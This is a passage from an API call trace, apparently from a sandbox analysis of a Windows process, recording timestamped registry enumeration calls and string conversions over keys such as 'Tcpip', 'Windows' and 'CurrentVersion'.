CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x23fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x23fb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x23fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x23fb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x23fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x23fb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x23fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0247.584] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x23fb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x23fb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x23fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x23fb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x23fc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x23fb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x23fb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x23fb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x23fc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x23fb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0247.585] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x23fb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x23fb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x23fb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x23fb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x23fb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x23fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x23fb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x23fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x23fb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x23fc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0247.586] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x23fb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0247.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x23fb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x23fc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x23fb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x23fb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x23fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x23fb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x23fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x23fb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x23fb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0247.587] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x23fb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0247.588] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x23fb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0247.588] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0247.588] RegCloseKey (hKey=0x38) returned 0x0 [0247.588] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x23fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0247.588] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0247.588] RegCloseKey (hKey=0xc4) returned 0x0 [0247.588] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x23fb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x23fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0247.588] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x23fb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0247.588] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x23fb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x23fb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x23fb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x23fc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x23fb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x23fc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x23fb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x23fb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x23fc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x23fb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x23fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0247.589] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x23fb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x23fc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0247.590] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x23fb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", 